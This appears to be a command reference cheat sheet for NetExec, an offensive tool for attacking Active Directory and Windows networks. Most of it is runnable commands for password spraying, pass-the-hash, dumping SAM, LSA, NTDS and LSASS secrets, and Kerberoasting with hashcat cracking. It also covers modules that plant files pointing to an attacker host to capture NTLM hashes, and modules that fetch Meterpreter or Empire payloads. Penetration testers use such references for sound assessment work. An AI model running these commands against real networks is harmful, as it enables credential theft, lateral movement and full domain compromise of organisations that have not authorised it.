Tool: NetExec (nxc) — successor to CrackMapExec
Repo: https://github.com/Pennyw0rth/NetExec
Wiki: https://www.netexec.wiki/
Note: nxc and netexec are the same binary — nxc is the short alias used everywhere.
NetExec is a network exploitation tool for large-scale Active Directory and Windows network assessment. It takes a protocol, one or more targets, and credentials, then tells you whether the login worked on each host — and if so, what you can do next: enumerate, dump secrets, execute commands, or pivot.
(Pwn3d!) after a login means you have more than a valid credential:
| Protocol |
Meaning of Pwn3d! |
| SMB |
Most likely local admin |
| LDAP |
Path to Domain Admin |
| WinRM |
Code execution at minimum |
| RDP |
Code execution at minimum |
| VNC |
Code execution at minimum |
| WMI |
Most likely local admin |
| SSH |
Logged in as root |
| FTP |
No check performed |
| MSSQL |
Sysadmin-equivalent access |
Supported Protocols:
| Protocol |
Default Port |
Primary Use |
smb |
445 |
AD host/share/user enum, secrets dumping, command execution |
ldap |
389 / 636 |
Domain enum, Kerberoasting, ASREPRoasting, ACL abuse, ADCS |
winrm |
5985 / 5986 |
Command execution, credential dumping |
mssql |
1433 |
SQL enum, privesc, xp_cmdshell, linked server pivoting |
ssh |
22 |
Credential testing, command execution, file transfer |
ftp |
21 |
Anonymous access testing, file listing/upload/download |
rdp |
3389 |
Password spraying, screenshotting, command execution (beta) |
wmi |
135 |
Command execution over DCOM/WMI |
nfs |
111 / 2049 |
Share enumeration, root-escape file read/write |
vnc |
5900 |
Credential testing, screenshotting |
# Recommended: via pipx (always latest)
pipx install git+https://github.com/Pennyw0rth/NetExec
# Via pipx from PyPI
pipx install netexec
# Kali Linux
sudo apt install netexec
# From source
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
poetry install
# Docker
docker build -t netexec .
docker run -it --rm netexec
Tab-completion is available when installed via pipx.
nxc smb 192.168.1.10 # single host
nxc smb 192.168.1.0/24 # CIDR range
nxc smb 192.168.1.1-100 # IP range
nxc smb targets.txt # file, one target per line
nxc smb dc01.domain.local # hostname/FQDN
nxc smb 192.168.1.10 192.168.1.20 # multiple targets, space-separated
nxc <protocol> <target> -u username -p password
nxc <protocol> <target> -u username -H '<NTLM_hash>' # pass-the-hash
nxc <protocol> <target> -id 3 # use stored DB credential
nxc <protocol> <target> -u='-username' -p='-password' # credentials starting with -
Spraying:
nxc <protocol> <target> -u users.txt -p passwords.txt # full combo spray
nxc <protocol> <target> -u users.txt -p passwords.txt --no-bruteforce # 1:1 matching
nxc <protocol> <target> -u users.txt -p pass --continue-on-success # don't stop on first hit
nxc <protocol> <target> -u '' -p '' # null session
nxc <protocol> <target> --jitter 2-5 # random 2-5s delay between attempts
Lockout protection:
--gfail-limit LIMIT # max total failed attempts globally
--ufail-limit LIMIT # max failed attempts per username
--fail-limit LIMIT # max failed attempts per host
nxc smb dc01.domain.local -k --kdcHost dc01.domain.local -u user -p pass
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.domain.local -k --use-kcache
Use the hostname/FQDN, not a bare IP, with Kerberos.
nxc ldap dc01.domain.local -k --kdcHost dc01.domain.local --pfx-cert cert.pfx
nxc smb dc01.domain.local -k --kdcHost dc01.domain.local --pfx-cert cert.pfx --pfx-pass password
nxc smb -L # list all SMB modules
nxc ldap -L # list all LDAP modules
nxc smb -M <module_name> --options # show module options
nxc smb <target> -u user -p pass -M <module_name>
nxc smb <target> -u user -p pass -M <module_name> -o KEY=value KEY2=value2
nxcdb # open the database console
# Inside console:
workspace list
workspace create <name>
workspace <name>
hosts
creds
Use -id <n> to pull a stored credential directly into a new command.
nxc smb <target> -u user -p pass -M <module> --ignore-opsec # suppress OpSec warnings
nxc smb <target> -u user -p pass --log output.log # log output to file
nxc smb <target> -u user -p pass --no-progress --log out.log # cleaner log (no progress bar)
| Flag |
What it does |
target |
IP(s), ranges, CIDRs, hostnames, FQDNs, files, Nmap XML / .Nessus files |
--version |
Display nxc version |
-h, --help |
Show help |
| Flag |
What it does |
-t, --threads |
Concurrent threads (default: 256) |
--timeout |
Max timeout in seconds per thread |
--jitter |
Random delay between auth attempts |
--no-progress |
Hide the progress bar |
--log |
Save output to a file |
--verbose |
Verbose output |
--debug |
Debug-level output |
| Flag |
What it does |
-6 |
Force IPv6 |
--dns-server |
Use a specific DNS server |
--dns-tcp |
Use TCP instead of UDP for DNS |
--dns-timeout |
DNS query timeout in seconds (default: 3) |
| Flag |
What it does |
-u, --username |
Username(s) or file(s) of usernames |
-p, --password |
Password(s) or file(s) of passwords |
-H, --hash |
NTLM hash(es) or file(s) of hashes |
-id |
Use a stored credential ID from the database |
-d, --domain |
Domain to authenticate to |
--local-auth |
Authenticate against local SAM instead of domain |
--ignore-pw-decoding |
Ignore non-UTF-8 chars in password files |
--no-bruteforce |
Pair users to passwords 1:1 (no full combos) |
--continue-on-success |
Keep trying after a successful login |
--gfail-limit |
Max global failed login attempts |
--ufail-limit |
Max failed attempts per username |
--fail-limit |
Max failed attempts per host |
| Flag |
What it does |
-k, --kerberos |
Use Kerberos authentication |
--use-kcache |
Use a ccache ticket (KRB5CCNAME) |
--aesKey |
AES key for Kerberos auth (128 or 256-bit) |
--kdcHost |
FQDN of the Domain Controller / KDC |
| Flag |
What it does |
--pfx-cert |
Authenticate with a .pfx certificate file |
--pfx-base64 |
Authenticate with a base64-encoded .pfx |
--pfx-pass |
Password for the .pfx certificate |
--pem-cert |
Authenticate with a PEM certificate file |
--pem-key |
Private key for the PEM certificate |
| Flag |
What it does |
--delegate |
Impersonate a user via S4U2Self + S4U2Proxy |
--delegate-spn |
SPN for S4U2Proxy (default: cifs/<target>) |
--generate-st |
Save the resulting Service Ticket to a file |
--self |
Only perform S4U2Self (no S4U2Proxy) |
| Flag |
What it does |
--port |
SMB port (default: 445) |
--share |
Target share (default: C$) |
--smb-server-port |
Port for nxc's own SMB server (default: 445) |
--no-smbv1 |
Disable SMBv1 |
--no-admin-check |
Skip the Service Control Manager admin check |
--gen-relay-list |
Output hosts without SMB signing to a file (relay prep) |
--smb-timeout |
SMB connection timeout in seconds (default: 2) |
--laps |
Fetch and authenticate with the LAPS local admin password |
--generate-hosts-file |
Generate a /etc/hosts file from a range of IPs |
--generate-krb5-file |
Generate a krb5.conf from a range of IPs |
--generate-tgt |
Request and cache a TGT |
| Flag |
What it does |
--sam [{regdump,secdump}] |
Dump local SAM hashes. Requires local admin. Returns local usernames + NT hashes. |
--lsa [{regdump,secdump}] |
Dump LSA secrets — frequently includes plaintext service account credentials and cached DPAPI material. |
--ntds [{drsuapi,vss}] |
Dump NTDS.dit from a DC. drsuapi (default) uses replication; vss uses Volume Shadow Copy (useful when DRSUAPI is blocked). Requires DA or backup-operator-equivalent. |
--kerberos-keys |
Also dump Kerberos AES/DES keys when dumping NTDS |
--history |
Include password history in NTDS dump |
--enabled |
Only dump enabled accounts from NTDS |
--user |
Dump a specific user from NTDS |
--dpapi [{nosystem,cookies}] |
Dump DPAPI secrets. Add cookies to include browser cookies; nosystem to skip SYSTEM-level DPAPI secrets. |
--sccm [{wmi,disk}] |
Dump SCCM secrets — methods: wmi or disk |
--mkfile |
Provide a masterkeys file for DPAPI decryption ({GUID}:SHA1 format) |
--pvk |
Provide a domain backup key file for DPAPI decryption |
--list-snapshots |
List available VSS snapshots (default share: ADMIN$) |
| Flag |
What it does |
--shares |
Enumerate shares and access. Filter by: read, write, or read,write |
--exclude-shares |
Exclude specific shares (e.g. C$ Admin$ IPC$) |
--filter-shares |
Filter shares by access level: READ, WRITE, or READ,WRITE |
--no-write-check |
Skip write checks on shares (avoids trace artifacts) |
--dir |
List contents of a remote path |
--interfaces |
Enumerate network interfaces — useful for finding hidden subnets |
--disks |
Enumerate disk drives |
--users |
Enumerate domain users (specify a username to query just that account) |
--users-export |
Export domain user enumeration to a file |
--groups |
Enumerate domain groups (specify a group to list its members) |
--local-groups |
Enumerate local groups |
--computers |
Enumerate computer accounts |
--pass-pol |
Dump the domain password policy |
--rid-brute |
Enumerate users by RID brute-force — works even when LDAP enumeration is locked down |
--smb-sessions |
Enumerate active SMB sessions |
--reg-sessions |
Enumerate user sessions via Remote Registry |
--loggedon-users |
Enumerate currently logged-on users — critical for targeting DAs with active sessions |
--loggedon-users-filter |
Filter logged-on users with a regex |
--qwinsta |
Enumerate user sessions (like qwinsta) |
--tasklist |
Enumerate running processes (optionally filter by name, e.g. keepass.exe) |
--taskkill |
Kill a remote process by PID or name |
| Flag |
What it does |
--wmi-query |
Run a custom WMI query against the target |
--wmi-namespace |
WMI namespace to use (default: root\cimv2) |
| Flag |
What it does |
--spider |
Spider a specific share. Note: escape $ in bash — e.g. C\$ |
--spider-folder |
Start spidering from a specific folder (default: share root) |
--content |
Search inside file contents, not just filenames |
--exclude-dirs |
Directories to skip |
--depth |
Max recursion depth |
--only-files |
List files only, skip directories |
--silent |
Suppress output (save results only) |
--pattern |
Search for patterns in filenames or content |
--regex |
Search using regex patterns |
| Flag |
What it does |
--put-file |
Upload a local file to the target (local path → remote path) |
--get-file |
Download a file from the target (remote path → local path) |
--append-host |
Append the hostname to the downloaded filename |
| Flag |
What it does |
--exec-method |
Execution method: wmiexec (default), atexec, smbexec, mmcexec |
--dcom-timeout |
DCOM connection timeout in seconds (default: 5) |
--get-output-tries |
Retry attempts to fetch command output (default: 10) |
--codec |
Set output encoding codec (default: UTF-8) |
--no-output |
Don't retrieve command output |
-x COMMAND |
Execute a CMD command |
-X PS_COMMAND |
Execute a PowerShell command |
Execution method comparison:
| Method |
Transport |
Notes |
wmiexec (default) |
DCOM/WMI |
Semi-interactive, no service creation, generally quietest |
atexec |
Task Scheduler |
Creates a task; leaves task-scheduler event logs |
smbexec |
Service creation |
Creates a temporary service; historically noisiest; works when WMI is blocked |
mmcexec |
MMC |
Additional alternative method |
| Flag |
What it does |
--obfs |
Obfuscate PowerShell scripts before execution |
--amsi-bypass |
Provide a custom AMSI bypass script file |
--clear-obfscripts |
Clear all cached obfuscated scripts |
--force-ps32 |
Force PowerShell to run in a 32-bit process |
--no-encode |
Don't base64-encode the PowerShell command |
nxc smb <target> -M <module_name> --options
| Module |
What it does |
Usage |
| enum_av |
Detects AV/EDR products via LsarLookupNames — no admin needed. Fingerprints by services, processes, and install paths. |
nxc smb <target> -u user -p pass -M enum_av |
| enum_ca |
Anonymously queries RPC endpoints to find ADCS Certificate Authorities |
nxc smb <target> -u user -p pass -M enum_ca |
| gpp_privileges |
Reads GPO-assigned privileges and resolves SIDs via LDAP |
nxc smb <target> -u user -p pass -M gpp_privileges |
| ioxidresolver |
Probes DCOM/RPC to discover additional network interfaces — useful for finding hidden subnets |
nxc smb <target> -u user -p pass -M ioxidresolver |
| ms17-010 |
Checks for EternalBlue (CVE-2017-0144) — lab use only |
nxc smb <target> -u user -p pass -M ms17-010 |
| nopac |
Checks for CVE-2021-42278 + CVE-2021-42287 — allows a standard domain user to impersonate a Domain Admin |
nxc smb <target> -u user -p pass -M nopac |
| ntlm_reflection |
Checks for CVE-2025-33073 (NTLM Reflection) |
nxc smb <target> -u user -p pass -M ntlm_reflection |
| printnightmare |
Checks for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) |
nxc smb <target> -u user -p pass -M printnightmare |
| remove-mic |
Checks for CVE-2019-1040 — NTLM MIC bypass enabling relay attacks |
nxc smb <target> -u user -p pass -M remove-mic |
| sccm-recon6 |
Uses WinReg to detect if target is an SCCM Distribution Point or Primary Site Server |
nxc smb <target> -u user -p pass -M sccm-recon6 |
| smbghost |
Checks for SMBGhost (CVE-2020-0796) via SMBv3.1.1 dialect/compression detection |
nxc smb <target> -u user -p pass -M smbghost |
| spooler |
Checks if Print Spooler is running — prerequisite for PrinterBug/SpoolSample coercion |
nxc smb <target> -u user -p pass -M spooler |
| webdav |
Checks if the WebDAV (WebClient) service is running — relevant for HTTP-based coercion |
nxc smb <target> -u user -p pass -M webdav |
| zerologon |
Checks for Zerologon (CVE-2020-1472) — unauthenticated DC compromise |
nxc smb <target> -u user -p pass -M zerologon |
[REMOVED] modules consolidated into coerce_plus: petitpotam, printerbug, shadowcoerce, dfscoerce, efsr_spray
| Module |
What it does |
Usage |
| aws-credentials |
Searches the filesystem for AWS credential files (~/.aws/credentials, etc.) |
nxc smb <target> -u user -p pass -M aws-credentials |
| gpp_autologin |
Reads registry.xml from SYSVOL to find autologon credentials pushed via GPP |
nxc smb <target> -u user -p pass -M gpp_autologin |
| gpp_password |
Finds and decrypts plaintext passwords stored in Group Policy Preferences XML using the publicly known AES key |
nxc smb <target> -u user -p pass -M gpp_password |
| spider_plus |
Crawls all readable shares automatically and writes structured JSON metadata. Use DOWNLOAD_FLAG=True for full exfil. Faster first-pass than --spider. |
nxc smb <target> -u user -p pass -M spider_plus / -o DOWNLOAD_FLAG=True |
| Module |
What it does |
Usage |
| add-computer |
Adds or removes a computer account from the domain — enables RBCD and related attacks |
nxc smb <target> -u user -p pass -M add-computer -o NAME=EVILPC$ PASSWORD=Pass123 |
| backup_operator |
Exploits SeBackupPrivilege (Backup Operators group) to dump SAM/SECURITY hives without needing full local admin |
nxc smb <target> -u user -p pass -M backup_operator |
| change-password |
Changes or resets a user's password — requires User-Force-Change-Password or admin equivalent |
nxc smb <target> -u user -p pass -M change-password -o USER=victim NEWPASS=New123 |
| coerce_plus |
Combines PetitPotam, DFSCoerce, ShadowCoerce, PrinterBug, and MSEven coercion into one module — forces target to authenticate to your listener |
nxc smb <target> -u user -p pass -M coerce_plus -o LISTENER=<attacker-ip> |
| drop-library-ms |
Uploads a .library-ms file to writable shares — triggers CVE-2025-24054 to capture NTLMv2 hashes when a user browses the share |
nxc smb <target> -u user -p pass -M drop-library-ms -o SERVER=<attacker-ip> |
| drop-sc |
Drops a .searchConnector-ms file on writable shares — opening triggers outbound auth to your server |
nxc smb <target> -u user -p pass -M drop-sc -o URL=\\<attacker-ip>\share |
| scuffy |
Drops .scf files with a UNC path in the icon field — any user browsing the folder triggers NTLM auth to your host |
nxc smb <target> -u user -p pass -M scuffy -o SERVER=<attacker-ip> |
| slinky |
Creates Windows .lnk shortcuts pointing to your server — browsing the folder triggers NTLM auth |
nxc smb <target> -u user -p pass -M slinky -o SERVER=<attacker-ip> |
| timeroast |
Abuses Windows NTP authentication to obtain crackable hashes for computer/trust accounts |
nxc smb <target> -u user -p pass -M timeroast |
| Module |
What it does |
Usage |
| bitlocker |
Checks BitLocker encryption status (enabled/disabled) |
nxc smb <target> -u user -p pass -M bitlocker |
| enum_dns |
Uses WMI to dump all DNS records from an AD DNS server |
nxc smb <DC> -u user -p pass -M enum_dns |
| enum_interfaces |
Reads the registry to list all network interfaces, IPs, subnets, and gateways — useful for pivoting |
nxc smb <target> -u user -p pass -M enum_interfaces |
| get_netconnections |
Uses WMI to list active network connections |
nxc smb <target> -u user -p pass -M get_netconnections |
| hyperv-host |
Queries the VM registry to identify the Hyper-V host it's running on |
nxc smb <target> -u user -p pass -M hyperv-host |
| install_elevated |
Checks if AlwaysInstallElevated is set — allows any user to install MSIs as SYSTEM |
nxc smb <target> -u user -p pass -M install_elevated |
| keepass_discover |
Searches for KeePass DB files and running KeePass processes |
nxc smb <target> -u user -p pass -M keepass_discover |
| lockscreendoors |
Detects accessibility binary backdoors on the lock screen (e.g. Sticky Keys → cmd.exe) |
nxc smb <target> -u user -p pass -M lockscreendoors |
| ntlmv1 |
Checks if LMCompatibilityLevel < 3 — means NTLMv1 is allowed (weaker, crackable to NTLM) |
nxc smb <target> -u user -p pass -M ntlmv1 |
| presence |
Detects whether Domain Admins or Enterprise Admins currently have sessions on the target |
nxc smb <target> -u user -p pass -M presence |
| reg-query |
Queries arbitrary registry keys on the remote machine |
nxc smb <target> -u user -p pass -M reg-query -o REGKEY="HKLM\..." |
| runasppl |
Checks if LSASS is running as a Protected Process Light (PPL) — blocks most credential dumpers |
nxc smb <target> -u user -p pass -M runasppl |
| test_connection |
Simple ping/connectivity check |
nxc smb <target> -u user -p pass -M test_connection |
| uac |
Checks UAC configuration and level |
nxc smb <target> -u user -p pass -M uac |
| wcc |
Audits a range of Windows security settings in one pass (firewall, AV, LSASS protection, etc.) |
nxc smb <target> -u user -p pass -M wcc |
| Module |
What it does |
Usage |
| dpapi_hash |
Extracts DPAPI master key hashes for offline cracking |
nxc smb <target> -u user -p pass -M dpapi_hash |
| eventlog_creds |
Scrapes Event Logs (ID 4688 / Sysmon) for credentials accidentally logged in command lines |
nxc smb <target> -u user -p pass -M eventlog_creds |
| handlekatz |
Dumps LSASS via a duplicated process handle, parsed with pypykatz |
nxc smb <target> -u user -p pass -M handlekatz |
| iis |
Reads IIS applicationHost.config via appcmd.exe to extract application pool credentials |
nxc smb <target> -u user -p pass -M iis |
| keepass_trigger |
Injects a malicious trigger into KeePass config to export the database in plaintext |
nxc smb <target> -u user -p pass -M keepass_trigger |
| lsassy |
Most common LSASS dumper — dumps and remotely parses LSASS for hashes, tickets, and plaintext |
nxc smb <target> -u user -p pass -M lsassy |
| masky |
Uses ADCS + KDC to request certificates and derive NTLM hashes without touching LSASS |
nxc smb <target> -u user -p pass -M masky |
| mobaxterm |
Extracts saved session credentials from MobaXterm via registry or NTUSER.dat |
nxc smb <target> -u user -p pass -M mobaxterm |
| mremoteng |
Dumps saved passwords from mRemoteNG connection manager files |
nxc smb <target> -u user -p pass -M mremoteng |
| msol |
Extracts the cleartext password for the Entra ID (Azure AD) Connect sync account from the local SQL DB |
nxc smb <target> -u user -p pass -M msol |
| nanodump |
Dumps LSASS using a stealthy minidump technique (designed to evade some PPL detections), parsed with pypykatz |
nxc smb <target> -u user -p pass -M nanodump |
| notepad |
Extracts content from unsaved Windows 11 Notepad tab-state files |
nxc smb <target> -u user -p pass -M notepad |
| notepad++ |
Extracts unsaved/backup files from Notepad++ session cache |
nxc smb <target> -u user -p pass -M notepad++ |
| ntds-dump-raw |
Directly accesses the raw hard drive to copy ntds.dit, SAM, and SYSTEM — bypasses VSS/locks |
nxc smb <DC> -u user -p pass -M ntds-dump-raw |
| ntdsutil |
Uses the built-in ntdsutil.exe to snapshot and dump NTDS |
nxc smb <DC> -u user -p pass -M ntdsutil |
| powershell_history |
Reads all users' PSReadLine ConsoleHost_history.txt files looking for cleartext credentials |
nxc smb <target> -u user -p pass -M powershell_history |
| procdump |
Dumps LSASS using Sysinternals ProcDump, parsed with pypykatz |
nxc smb <target> -u user -p pass -M procdump |
| putty |
Checks registry for PuTTY saved SSH private keys and downloads them |
nxc smb <target> -u user -p pass -M putty |
| rdcman |
Extracts saved credentials from Remote Desktop Connection Manager config files |
nxc smb <target> -u user -p pass -M rdcman |
| recent_files |
Lists recently accessed/modified files |
nxc smb <target> -u user -p pass -M recent_files |
| recyclebin |
Lists and exports deleted files from users' Recycle Bins |
nxc smb <target> -u user -p pass -M recyclebin |
| reg-winlogon |
Reads Winlogon registry keys for autologon credentials (domain, username, password) |
nxc smb <target> -u user -p pass -M reg-winlogon |
| security-questions |
Retrieves Windows 10/11 local account security questions and answers — password-reuse candidates |
nxc smb <target> -u user -p pass -M security-questions |
| snipped |
Downloads screenshots saved by the Windows Snipping Tool |
nxc smb <target> -u user -p pass -M snipped |
| teams_localdb |
Extracts the ssoauthcookie (SSO session token) from the local Microsoft Teams SQLite database |
nxc smb <target> -u user -p pass -M teams_localdb |
| veeam |
Connects to the local Veeam SQL database to extract and decrypt backup job credentials — historically very reliable |
nxc smb <target> -u user -p pass -M veeam |
| vnc |
Extracts saved passwords from VNC server and client config files/registry |
nxc smb <target> -u user -p pass -M vnc |
| wam |
Dumps Entra ID / M365 access tokens from the Windows Token Broker Cache |
nxc smb <target> -u user -p pass -M wam |
| wdigest |
Toggles UseLogonCredential registry key to force Windows to cache cleartext credentials in LSASS |
nxc smb <target> -u user -p pass -M wdigest -o ACTION=enable |
| wifi |
Retrieves plaintext Wi-Fi PSKs for all saved wireless profiles |
nxc smb <target> -u user -p pass -M wifi |
| winscp |
Finds and decrypts saved session credentials from WinSCP INI files or registry |
nxc smb <target> -u user -p pass -M winscp |
| Module |
What it does |
Usage |
| empire_exec |
Connects to a PowerShell Empire C2 and executes a generated launcher |
nxc smb <target> -u user -p pass -M empire_exec -o LISTENER=http://... |
| hash_spider |
Takes a hash, uses BloodHound data to find all machines where that account has local admin, and dumps LSASS recursively |
nxc smb <target> -u user -H hash -M hash_spider |
| impersonate |
Lists logged-on user tokens and impersonates them to run commands in their security context |
nxc smb <target> -u user -p pass -M impersonate |
| met_inject |
Downloads a Meterpreter stager and injects it into a running process |
nxc smb <target> -u user -p pass -M met_inject -o LHOST=<ip> LPORT=4444 |
| pi |
Runs a command as another logged-on user via process injection |
nxc smb <target> -u user -p pass -M pi -o PID=<pid> CMD='whoami' |
| rdp |
Enables or disables Remote Desktop Protocol on the target |
nxc smb <target> -u user -p pass -M rdp -o ACTION=enable |
| remote-uac |
Enables or disables remote UAC (which restricts network admin access for local accounts) |
nxc smb <target> -u user -p pass -M remote-uac -o ACTION=disable |
| schtask_as |
Executes a command as a currently logged-on user by creating a scheduled task as them |
nxc smb <target> -u user -p pass -M schtask_as -o USER=<target_user> CMD='whoami' |
| shadowrdp |
Enables RDP shadowing for silent monitoring/hijacking of an active RDP session |
nxc smb <target> -u user -p pass -M shadowrdp -o ACTION=enable |
| web_delivery |
Triggers a Metasploit web_delivery payload to get a Meterpreter/shell session |
nxc smb <target> -u user -p pass -M web_delivery -o URL=http://... |
# Host sweep — no credentials needed
nxc smb 192.168.1.0/24
# Null session checks
nxc smb <dc-ip> -u '' -p '' --shares
nxc smb <dc-ip> -u '' -p '' --users
nxc smb <dc-ip> -u '' -p '' --pass-pol
# Enumerate with credentials
nxc smb <target> -u user -p pass --shares
nxc smb <target> -u user -p pass --users
nxc smb <target> -u user -p pass --loggedon-users
nxc smb <target> -u user -p pass --sessions
# Generate relay target list
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt
# Credential dumping
nxc smb <target> -u user -p pass --sam
nxc smb <target> -u user -p pass --lsa
nxc smb <dc-ip> -u user -p pass --ntds
nxc smb <dc-ip> -u user -p pass --ntds vss # VSS method
nxc smb <target> -u user -p pass --dpapi
nxc smb <target> -u user -p pass --dpapi cookies # include browser cookies
# Command execution
nxc smb <target> -u user -p pass -x 'whoami'
nxc smb <target> -u user -p pass -X 'Get-Process'
nxc smb <target> -u user -p pass --exec-method atexec -x 'whoami'
# File operations
nxc smb <target> -u user -p pass --share C$ --get-file remote.txt local.txt
nxc smb <target> -u user -p pass --share C$ --put-file local.txt remote.txt
# Spider shares
nxc smb <target> -u user -p pass --spider C\$ --pattern password --content
nxc smb <target> -u user -p pass -M spider_plus
nxc smb <target> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
# Kerberos bootstrap
nxc smb <dc-ip> -u user -p pass --generate-hosts-file /etc/hosts
nxc smb <dc-ip> -u user -p pass --generate-krb5-file /etc/krb5.conf
nxc smb <dc-ip> -u user -p pass --generate-tgt /tmp/user.ccache
LDAP is where nxc handles domain-level enumeration and most Active Directory attack primitives. Where SMB tells you about a host, LDAP tells you about the domain — users, groups, ACLs, delegation, certificate templates, trusts.
Most generic flags (auth, Kerberos, certificates, DNS, output, modules) are identical to SMB. Only LDAP-specific flags are listed here.
| Flag |
What it does |
--port |
LDAP port (default: 389; use 636 for LDAPS) |
--simple-bind |
Use simple bind authentication (no signing or channel binding) |
-H, --hash |
NTLM hash for pass-the-hash authentication |
-d |
Domain to authenticate to |
| Flag |
What it does |
--asreproast |
AS-REP roast accounts with pre-auth disabled — no valid credentials required, just a username list. Save hashes to file for hashcat (-m 18200). |
--kerberoasting |
Kerberoast all SPN-bearing accounts — requests TGS tickets for every account with a SPN. Save to file for hashcat (-m 13100). |
--kerberoast-account |
Target specific accounts for Kerberoasting by sAMAccountName or file |
--no-preauth-targets |
Targeted AS-REP roasting against pre-specified users |
# AS-REP roast (no creds needed)
nxc ldap <dc-ip> -u users.txt -p '' --asreproast asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Kerberoast
nxc ldap <dc-ip> -u user -p pass --kerberoasting kerberoast.txt
nxc ldap <dc-ip> -u user -p pass --kerberoasting kerberoast.txt --only-rc4 # RC4 only (cracks faster)
nxc ldap <dc-ip> -u user -p pass --kerberoasting kerberoast.txt --opsec # stealthier query
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
| Flag |
What it does |
--base-dn |
Set a custom base DN for all LDAP queries |
--query |
Run a raw LDAP query: --query "(filter)" "attr1,attr2" |
--find-delegation |
Find all delegation relationships (enabled accounts only) |
--trusted-for-delegation |
List accounts with TRUSTED_FOR_DELEGATION flag (unconstrained delegation) |
--password-not-required |
List accounts with PASSWD_NOTREQD flag — can have empty passwords |
--admin-count |
List accounts with adminCount=1 — current or former members of privileged groups ("shadow admins") |
--users |
Enumerate domain users |
--active-users |
Enumerate only active (non-disabled) accounts |
--users-export |
Export domain users to a file |
--groups |
Enumerate domain groups (specify a group to list its members) |
--computers |
Enumerate domain computers |
--dc-list |
List all Domain Controllers |
--get-sid |
Get the domain SID |
--pso |
Retrieve Fine-Grained Password Policies (PSOs) |
--pass-pol |
Dump the domain password policy |
| Flag |
What it does |
--gmsa |
Enumerate GMSA accounts the current user can read the password for |
--gmsa-convert-id |
Convert a GMSA object ID to its secret name |
--gmsa-decrypt-lsa |
Decrypt an encrypted GMSA value retrieved from LSA |
| Flag |
What it does |
--bloodhound |
Run a BloodHound CE collection scan over LDAP — faster and quieter than SharpHound |
-c, --collection |
Collection scope — see below |
Collection scopes:
| Scope |
What's collected |
Default |
Group membership, sessions, local admin rights, domain trusts, OUs, GPOs |
All |
Default + ACLs + object properties + container structure |
DCOnly |
Everything collectible without touching non-DC hosts (stealthiest) |
Session |
Active user sessions only |
LoggedOn |
Privileged local session detection |
ACL |
ACL edges only |
ObjectProps |
Object property enumeration only |
Group |
Group membership only |
LocalAdmin |
Local admin group membership only |
nxc ldap <dc-ip> -u user -p pass --bloodhound --collection All
nxc ldap <dc-ip> -u user -p pass --bloodhound --collection DCOnly # stealthiest
Hosts where you have local admin (Pwn3d!) are automatically marked as owned in the BloodHound graph.
| Module |
What it does |
Usage |
| adcs |
Queries LDAP for ADCS enrollment endpoints and certificate template names — first step for ESC triage |
nxc ldap <dc> -u user -p pass -M adcs |
| badsuccessor |
Checks if the domain is vulnerable to the "Bad Successor" dMSA attack for privilege escalation |
nxc ldap <dc> -u user -p pass -M badsuccessor |
| certipy-find |
Runs the equivalent of certipy find — enumerates ADCS templates and highlights vulnerable ones (ESC1–ESC13). Exports to text/CSV/JSON. |
nxc ldap <dc> -u user -p pass -M certipy-find |
| daclread |
Reads and backs up DACLs on AD objects — find over-permissioned ACEs (GenericAll, WriteDACL, etc.). Note: does NOT recurse. |
nxc ldap <dc> -u user -p pass -M daclread -o TARGET=<object> ACTION=read |
| dns-nonsecure |
Detects DNS zones allowing unauthenticated dynamic updates — allows spoofing DNS records with no credentials |
nxc ldap <dc> -u user -p pass -M dns-nonsecure |
| dump-computers |
Dumps FQDN and OS version of every computer object in the domain |
nxc ldap <dc> -u user -p pass -M dump-computers |
| entra-id |
Locates the Entra ID (Azure AD) Connect sync server — holds cloud sync credentials, high-value target |
nxc ldap <dc> -u user -p pass -M entra-id |
| find-computer |
Searches for computer accounts matching a search string |
nxc ldap <dc> -u user -p pass -M find-computer -o PATTERN=srv |
| get-network |
Dumps all AD-integrated DNS records with their IPs — passive internal DNS dump |
nxc ldap <dc> -u user -p pass -M get-network |
| groupmembership |
Looks up all groups a specified user belongs to |
nxc ldap <dc> -u user -p pass -M groupmembership -o USER=targetuser |
| maq |
Retrieves ms-DS-MachineAccountQuota — default 10, prerequisite for RBCD/Shadow Credentials attacks. If 0, those paths are closed. |
nxc ldap <dc> -u user -p pass -M maq |
| obsolete |
Finds all computer objects running end-of-life operating systems |
nxc ldap <dc> -u user -p pass -M obsolete |
| pso |
Retrieves Fine-Grained Password Policies — can reveal weaker policies on specific accounts |
nxc ldap <dc> -u user -p pass -M pso |
| sccm |
Searches LDAP for SCCM infrastructure — often stores domain-wide deployment credentials |
nxc ldap <dc> -u user -p pass -M sccm |
| subnets |
Pulls AD Sites & Services subnet definitions — reveals internal network topology |
nxc ldap <dc> -u user -p pass -M subnets |
| whoami |
Returns detailed information about the currently authenticated user |
nxc ldap <dc> -u user -p pass -M whoami |
| Module |
What it does |
Usage |
| get-desc-users |
Reads the description field of all user objects — sysadmins frequently store default passwords here |
nxc ldap <dc> -u user -p pass -M get-desc-users |
| get-info-users |
Reads the info field of all user objects — separate attribute equally likely to contain sensitive notes |
nxc ldap <dc> -u user -p pass -M get-info-users |
| get-unixUserPassword |
Retrieves the unixUserPassword attribute — sometimes contains cleartext or hashed credentials in hybrid environments |
nxc ldap <dc> -u user -p pass -M get-unixUserPassword |
| get-userPassword |
Retrieves the userPassword attribute — a legacy attribute sometimes populated with cleartext passwords |
nxc ldap <dc> -u user -p pass -M get-userPassword |
| laps |
Reads LAPS-managed local admin passwords from LDAP for any machines the current account has read access to |
nxc ldap <dc> -u user -p pass -M laps |
| user-desc |
Also targets the description attribute on user objects — similar to get-desc-users with different output filtering |
nxc ldap <dc> -u user -p pass -M user-desc |
| Module |
What it does |
Usage |
| pre2k |
Identifies pre-Windows 2000 computer accounts with predictable default passwords (lowercase machine name). Obtains TGTs for each. |
nxc ldap <dc> -u user -p pass -M pre2k |
| Module |
What it does |
Usage |
| raisechild |
Compromises a parent domain from a child domain via trust abuse (SID History + trust key). Chains DCSync, ticket forging, and validation automatically. |
nxc ldap <parent-dc> -u user -p pass -M raisechild -o TARGET_DOMAIN=child.parent.local |
# Authentication
nxc ldap <dc-ip> -u user -p pass
nxc ldap <dc-ip> -u user -H '<NTLM_hash>'
nxc ldap dc01.domain.local -k --kdcHost dc01 -u user -p pass
